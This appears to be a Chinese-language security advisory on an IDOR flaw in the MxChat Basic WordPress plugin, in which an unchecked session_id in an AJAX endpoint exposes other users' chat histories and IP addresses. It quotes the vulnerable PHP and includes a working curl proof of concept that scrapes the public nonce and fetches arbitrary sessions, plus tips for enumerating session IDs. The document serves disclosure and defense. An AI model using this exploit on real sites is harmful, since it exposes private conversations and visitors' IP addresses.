MxChat Basic 插件未在 mxchat_fetch_conversation_history AJAX 端点中验证会话所有权,导致未认证用户可通过不安全直接对象引用(IDOR)漏洞访问其他用户的对话历史和 IP 地址。
TARGET_SITE="http://example.com"
SESSION_ID="mxchat_chat_7jxi3jsdb"
NONCE=$(curl -s $TARGET_SITE | grep -oP 'nonce["\047]:\s*["\047]\K[^"\047]+' | head -1)
curl -X POST $TARGET_SITE/wp-admin/admin-ajax.php \
-d "action=mxchat_fetch_conversation_history" \
-d "session_id=$SESSION_ID" \
-d "nonce=$NONCE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest" | jq
位于 /includes/class-mxchat-integrator.php 文件中的 mxchat_fetch_conversation_history() 函数仅根据客户端提供的 session_id 检索对话数据,而未验证请求者是否拥有该会话。这使得任何持有有效 nonce(可通过前端 JavaScript 获取)的未认证用户都能访问其他用户的私有对话数据。此外,对话历史中存储的用户 IP 地址位于 agent_name 字段中,会随对话数据一起被披露。
IP 地址披露发生在消息存储过程中:
位于 class-mxchat-integrator.php 中:
361 // 4) Determine user_identifier
362 $user_identifier = $agent_name
363 ? $agent_name
364 : MxChat_User::mxchat_get_user_identifier();
其中 MxChat_User::mxchat_get_user_identifier() 对未认证用户返回其 IP 地址:
9 public static function mxchat_get_user_identifier() {
10 if (is_user_logged_in()) {
11 $current_user = wp_get_current_user();
12 return $current_user->user_login;
13 } else {
14 return sanitize_text_field($_SERVER['REMOTE_ADDR']); // IP address disclosed
15 }
16 }
该 IP 地址随后作为 agent_name 存储在对话历史中,并在检索对话数据时被暴露。
会话 ID 直接嵌入到上传的文件名中。当用户通过聊天界面上传 PDF 或 Word 文档时,文件会以可预测的命名模式保存:mxchat_{session_id}_{timestamp}.pdf 和 mxchat_word_{session_id}_{timestamp}.docx。这使得会话 ID 可通过多种攻击向量被发现:如果服务器在上传目录启用了目录索引,则可通过目录列表获取;可访问 WordPress 媒体库;可能被搜索引擎收录等。
来自 class-mxchat-integrator.php 的易受攻击代码片段:
107 function mxchat_fetch_conversation_history() {
108 if (empty($_POST['session_id'])) {
109 wp_send_json_error(['message' => esc_html__('Session ID missing.', 'mxchat')]);
110 wp_die();
111 }
112
113 $session_id = sanitize_text_field($_POST['session_id']);
114 $history = get_option("mxchat_history_{$session_id}", []); // Direct access without ownership check
115 $chat_mode = get_option("mxchat_mode_{$session_id}", 'ai');
116
117 if (empty($history)) {
118 wp_send_json_success([
119 'conversation' => [],
120 'chat_mode' => $chat_mode
121 ]);
122 wp_die();
123 }
124
125 wp_send_json_success([
126 'conversation' => $history,
127 'chat_mode' => $chat_mode
128 ]);
129 wp_die();
130 }
导航到目标 WordPress 站点的任意页面,并从页面源代码中提取 mxchat_chat_nonce。该 nonce 会在前端 JavaScript 中作为 mxchatChat.nonce 暴露,所有访客均可获取。
识别会话 ID(格式:mxchat_chat_{9 个字母数字字符})。如果启用了目录列表或媒体库访问,可通过上传的文件名发现会话 ID,也可以通过尝试连续模式或常见值进行枚举。
执行以下 curl 命令以检索任意会话的对话历史:
curl -X POST http://example.com/wp-admin/admin-ajax.php \
-d "action=mxchat_fetch_conversation_history" \
-d "session_id=mxchat_chat_7jxi3jsdb" \
-d "nonce=YOUR_NONCE_HERE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest"
{
"success": true,
"data": {
"conversation": [
{
"id": "6903e8a1e195e",
"role": "user",
"content": "I'm wondering if you can tell me about what website I am on?",
"timestamp": 1761863841925,
"agent_name": "IP.REDACTED"
},
{
"id": "6903e8a33c86a",
"role": "user",
"content": "I'm wondering if you can tell me about what website I am on?",
"timestamp": 1761863843248,
"agent_name": "IP.REDACTED"
}
],
"chat_mode": "ai"
}
}
agent_name 字段包含未认证用户的 IP 地址($_SERVER['REMOTE_ADDR']),该地址会随对话数据一起被披露。